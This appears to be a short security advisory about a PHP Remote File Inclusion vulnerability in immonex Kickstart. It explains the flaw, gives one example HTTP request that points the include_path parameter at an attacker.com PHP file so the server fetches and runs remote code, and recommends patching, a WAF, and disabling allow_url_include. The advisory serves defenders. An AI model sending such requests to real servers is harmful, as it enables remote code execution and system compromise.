How the Exploit Works
The exploit takes advantage of the improper control of filename for include/require statement in PHP Program, also known as ‘PHP Remote File Inclusion’ vulnerability. Attackers can manipulate the PHP include function to include a malicious PHP file from a remote server, leading to arbitrary code execution. This could result in a complete system compromise or potential data leakage.
Conceptual Example Code
An attacker could potentially exploit this vulnerability by sending a specially crafted request like the following:
GET /index.php?include_path=http://attacker.com/malicious_file.php HTTP/1.1
Host: target.example.comIn this example, the attacker is trying to include a malicious PHP file located on their server. If the server is vulnerable, it will fetch and execute the malicious PHP file, leading to potential system compromise.
Mitigation and Recommendations
Users of affected versions of immonex Kickstart are advised to update to the latest version immediately. If an update is not immediately possible, applying a vendor patch or using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) could serve as a temporary mitigation. It is also recommended to disable allow_url_include and allow_url_fopen directives in PHP configuration if not needed. Regularly monitoring system logs for any suspicious activity is also advised.
